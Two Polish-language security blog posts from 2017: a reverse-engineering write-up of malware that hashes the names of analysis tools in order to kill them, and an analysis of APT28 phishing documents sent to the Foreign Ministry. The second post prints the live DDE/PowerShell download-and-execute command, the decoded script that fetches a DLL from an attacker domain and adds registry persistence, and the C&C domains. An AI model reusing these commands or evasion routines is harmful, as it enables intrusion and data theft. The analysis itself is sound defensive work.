sobota, 18 listopada 2017

Obfuskacja nazw w złośliwym oprogramowaniu

Poniżej opisujemy jedną z metod ukrywania ciągów znaków przez złośliwe oprogramowanie. Bazuje ona na generowaniu wartości hash i porównywaniu z własną bazą. Dzięki temu nigdy w pamięci procesu nie będą ujawniane wszystkie informacje o działaniu złośliwego kodu.
 
Jakiś czas temu otrzymaliśmy próbkę złośliwego oprogramowania, która sprawiała pewne problemy w analizie dynamicznej. Szybko okazało się, że przy uruchomionych narzędziach do dynamicznej analizy złośliwe oprogramowanie wyłączało je.

Funkcja terminująca proces jest poniżej:

void _killProcess (int arg0) {
esp = esp - 0x4 - 0x4 - 0x4 - 0x4;
esi = (*kernel32.OpenProcess)(0x1, 0x0, arg_1, esi, arg0);
  if (esi != 0x0) {
   (*kernel32.TerminateProcess)(esi, 0x0);
   stack[2041] = esi;
   esp = esp - 0x4 - 0x4 - 0x4;
   (*kernel32.CloseHandle)(stack[2041]);
  }
return;
}


Na poniższym zrzucie ekranu można zauważyć, że złośliwe oprogramowanie pobiera między innymi informacje o uruchomionych procesach i nazwach okien.

Są to jedne z prostszych metod wykrywania uruchomionych aplikacji (np. programów AV) na infekowanej stacji roboczej, niemniej w tym przypadku okazało się, że nigdzie w kodzie malware nie ma nazw z którymi porównywane są na przykład nazwy uruchomionych procesów. Twórcy malware w tym konkretnym przypadku zastosowali funkcje haszującą nazwy. W kodzie zapisali wyłącznie wartości hash.
Chcieliśmy poznać nazwy wszystkich procesów, które są wyłączone przez malware.
Stwierdziliśmy, że najprościej będzie napisać narzędzie: generujące wszystkie możliwe nazwy, tworzące hash a następnie porównujące wynik z wartościami hash znajdującymi się w złośliwym kodzie.
Funkcję generującą hash oraz funkcję porównującą wartości hash przekopiowaliśmy z kodu złośliwego oprogramowania.
Funkcja do generacji wartości hash jest poniżej. Przyjmuje dwa argumenty: wskaźnik do tablicy z ciągiem znaków oraz długość ciągu znaków. W celu zwrócenia wartości hash utworzyliśmy stałą x w funkcji. Wiedząc gdzie jest ona przechowywana na stosie podmieniliśmy wartość z 0 na wartość hash, która ma dokładnie długość 32 bitów. Return x zwraca nam zawartość utworzonego hash.

int hash(char *, int) {
int x = 0;
__asm {

   XOR EAX, EAX //zeruj rejestr
   MOV ECX, [EBP + 0xC] //ilość znaków – licznik dla instrukcji LOOP
   MOV EDX, [EBP + 8] //adres początku tablicy z nazwą

loop1:
   MOVZX EBX, [EDX] //wczytaj pierwszą literę
   AND BL, 0x0df //operacja logiczna AND na pierwszym znaku
   XOR AH, BL //operacja logiczna XOR
   ROL EAX, 8 //przesunięcie w lewo o 1 bajt
   XOR AL, AH //operacja logiczna
   INC EDX //przesuń na kolejną literę
   LOOP loop1
   MOV [EBP - 4], eax; //nadpisz wartość x
}

return x;
}


Podobnie zrobiliśmy z funkcją porównującą wartości hash. Funkcja przyjmuje dwie wartości: wskaźnik do tablicy (przekopiowanej z sekcji danych złośliwego kodu – są to wartości hash z nazw procesów które mają być wykrywane i wyłączane) oraz wartość hash (wynik zwracany przez naszą funkcje hash()).

unsigned char tablica[48] = { 0x05,0x1D,0x4A,0x0B,0x02,0x5C,0x19,0x19,0x1D,0x04,0x0E,0x1C,0x0B,0x5D,0x18,0x06,0x0A,0x12,0x07,0x1D,0x18,0x51,0x0B,0x06,0x0D,0x1E,0x0E,0x55,0x47,0x5C,0x56,0x51,0x14,0x4C,0x11,0x04,0x04,0x5C,0x4E,0x5F,0x12,0x5A,0x58,0x14,0x14,0x5C,0x5E,0x14 };

int compare(char *, int) {
int x = 0;
__asm {
  XOR ECX, ECX
   XOR EAX, EAX
   MOV ECX, [EBP + 8] //wczytanie adresu tablicy
   XOR EBX, EBX
   MOV EBX, [EBP + 0x10] //wczytanie wartości hash
loop2:
   CMP [ECX+EAX], EBX //porównanie wartości hash z tablicą
   JE exit2
   ADD EAX, 0x4 //przesuwamy się o 4 bajty
   CMP EAX, 0x30 //wielkość tablicy
   JB loop2
   MOV[EBP - 4], 0x00000030 //zapisujemy np. 0x30 gdy hash nie istnieje
   JMP exit1

exit2:
   MOV [EBP-4], 0x00000031 //inna wartośc np. 0x31 gdy hash istnieje
exit1:

}
return x;

};


Ostatnim elementem było napisanie funkcji generującej metodą brute-force nazwy procesów czy okien. Ograniczyliśmy długość nazw od 6 znaków do 20. Szybko się jednak okazało, że mamy bardzo dużo kolizji i generowanie wartości hash dla każdego wygenerowanego ciągu znaków jest bez sensu. Związane jest to z tym, że algorytm generujący wartości hash jest bardzo prosty. Dla przykładu ciągi znaków cycdy6.exe czy c8u59f.exe mają tą samą wartość hash równą 0x19195c02.
 
Stworzenie listy najbardziej popularnych narzędzi do analizy jest dużo lepszym pomysłem. I tak dla przykładu hash 0x19195c02 to proces procexp.exe a np. 0x6185d0b to procmon.exe

Analizowany malware ma następujące wartości MD5 i SHA1:
SHA1: BAB30F8093A10A933FC75555F496B6BCB9D031A7
MD5: 98c81e23b7e6fb6ce3525b2fc7821561



piątek, 3 listopada 2017

Ataki teleinformatyczne na Ministerstwo Spraw Zagranicznych – jesień 2017



W ciągu ostatnich tygodni dwukrotnie otrzymywaliśmy informacje od zespołu reagowania na incydenty komputerowe MSZ o nieudanych próbach uzyskania dostępu do stacji roboczych użytkowników. Pierwsza próba przeprowadzona została 18 października, kolejna 1 listopada. Obie zostały przeprowadzone przez grupę APT28 (Sofacy/Fancy Bear) o której już kilkakrotnie pisaliśmy na naszym blogu.

W obu przypadkach do wiadomości email dołączany był dokument w formacie MS WORD. Poniżej przykład:



Według naszej wiedzy obie zostały skutecznie zablokowane. Porównując ostatnie próby z poprzednimi kampaniami można zauważyć zmiany w sposobie działania. Po pierwsze czas od pojawienia się poprawki na Adobe Flash a wykorzystania podatności został znacznie skrócony (2 dni). W ostatniej kampanii została użyta nowa metoda dostarczania złośliwego kodu (DDE) już bez użycia podatności ani makr. Zostały też zastosowane inne mechanizmy dodawania do autostartu. 

Pierwszy dokument (18 październik 2017):
Nazwa: World War III-ND.docx
SHA1: 7AADA8BCC0D1AB8FFB1F0FAE4757789C6F5546A3

Po uruchomieniu na ekranie pojawi się następująca treść:


Plik zawiera złośliwy kod wykorzystujący błąd we flash CVE-2017-11292. Opis tego pliku można znaleźć tutaj [1].


Drugi dokument (1 listopad 2017):
Nazwa: SaberGuardian2017.docx
SHA1: 64A8B9F327578DEF69EEA8DFAAD25400C2E644A2

Po uruchomieniu na ekranie pojawi się informacja o problemach z otwarciem pliku. Intruzi w tym ataku nie wykorzystali żadnej podatności ani makra a jedynie technikę polegającą na zastosowaniu protokołu DDE (Dynamic Data Exchange), który służy do wymiany danych pomiędzy aplikacjami w środowisko Windows.



Gdy wybierzemy OK pojawi się kolejny komunikat informujący o możliwości odzyskania innej zawartości pliku.


Automatycznie pobierany jest kolejny plik w formacie MS WORD (o identycznej nazwie).  Poniżej zawartość pliku webSettings.xml.rels z pierwszego dokumentu.


Następnie pojawia się pytanie, czy chcemy uruchomić aplikację C:\Programs\Microsoft\Office\MSWord.exe. Drugi plik (pobrany dokument) zawiera komendę uruchamiającą skrypt PowerShell (plik źródłowy document.xml).


Uruchamiana komenda:

"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # " "a slow internet connection" "try again later"

Następnie pobierany jest z serwera zakodowany skrypt.

 
Na ekranie użytkownikowi zostanie wyświetlony następujący komunikat:


Zawartość skryptu po odkodowaniu:

$W=New-Object System.Net.WebClient;
$p=($Env:ALLUSERSPROFILE+"\mvdrt.dll");
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$W.DownloadFile("http://sendmevideo.org/dh2025e/eh.dll",$p);
if (Test-Path $p){
$rd_p=$Env:SYSTEMROOT+"\System32\rundll32.exe";
$p_a=$p+",#1";
$pr=Start-Process $rd_p -ArgumentList $p_a;
$p_bat=($Env:ALLUSERSPROFILE+"\mvdrt.bat");
$text='set inst_pck = "%ALLUSERSPROFILE%\mvdrt.dll"'+"`r`n"+'if NOT exist %inst_pck % (exit)'+"`r`n"+'start rundll32.exe %inst_pck %,#1'
[io.File]::WriteAllText($p_bat,$text)
New-Item -Path 'HKCU:\Environment' -Force | Out-Null;
New-ItemProperty -Path 'HKCU:\Environment' -Name 'UserInitMprLogonScript' -Value "$p_bat" -PropertyType String -Force | Out-Null;
}

Tym razem pobierana jest biblioteka DLL zawierająca złośliwe oprogramowanie, tworzony jest plik mvdrt.bat a następnie jest on uruchamiany. Tworzony jest również klucz rejestru UserInitMprLogonScript umożliwiający automatyczny start skryptu.

Zawartość pliku C:\ProgramData\mvdrt.bat:

set inst_pck = "%ALLUSERSPROFILE%\mvdrt.dll"
if NOT exist %inst_pck % (exit)
start rundll32.exe %inst_pck %,#1


Biblioteka DLL podobnie jak we wcześniejszych atakach ma na celu ułatwienie intruzom określenie wartości zaatakowanej stacji roboczej i sprawdzenie czy faktycznie uzyskał dostęp do stacji roboczej pracownika atakowanej instytucji a nie np. systemu sandbox.

W pierwszej kolejności zbierane i wysyłane są informacje o zainfekowanym komputerze. Są to następujące dane:
  • Informacje o uruchomionych procesach
  • Informacje o interfejsach sieciowych
  • Informacje o dyskach 
Poniżej fragment wysyłanych danych:


Dane przed wysłaniem są szyfrowane za pomocą klucza 0xE221FA96 a następnie kodowanie base64.
Większość nazw funkcji, bibliotek czy komend jest przechowywana w pliku DLL w formie zaszyfrowanej. Główna funkcja odkodowująca umieszczona jest poniżej:

.text:100030F5
.text:100030F5 loc_100030F5: ; CODE XREF: sub_100030D1+47
.text:100030F5 lea ecx, [eax+esi]
.text:100030F8 mov [ebp+var_4], 0Eh
.text:100030FF xor edx, edx
.text:10003101 div [ebp+var_4]
.text:10003104 mov al, ds:byte_100071B4[edx]
.text:1000310A xor al, [edi+ecx]
.text:1000310D mov [ecx], al
.text:1000310F mov eax, [ebp+arg_4]
.text:10003112 inc eax
.text:10003113 mov [ebp+arg_4], eax
.text:10003116 cmp eax, ebx
.text:10003118 jl short loc_100030F5
.text:1000311A pop edi
.text:1000311B


Do serwera C&C przesyłane są również zrzuty z ekranu (jako zaszyfrowane jpeg).

Nazwy serwerów C&C powiązanych z atakiem:
satellitedeluxpanorama.com
sendmevideo.org
blackpartshare.com

Funkcje skrótu analizowanych plików:
Nazwa: World War III-ND.docx
SHA1: 7AADA8BCC0D1AB8FFB1F0FAE4757789C6F5546A3
Nazwa: SaberGuardian2017.docx
SHA1: 64A8B9F327578DEF69EEA8DFAAD25400C2E644A2
MD5 (1 plik):  c6ef573abdec611645a23e48fe83158b
MD5 (2 plik): 34dc9a69f33ba93e631cd5048d9f2624
Nazwa: eh.dll
SHA1: AB354807E687993FBEB1B325EB6E4AB38D428A1E
MD5: 1c6f8eba504f2f429abf362626545c79
Nazwa: activeX1.bin
SHA1: 8C0E8619ED6DFB9E6F6F3B06A0CA19E276E3BC75

Źródło:
[1]
https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed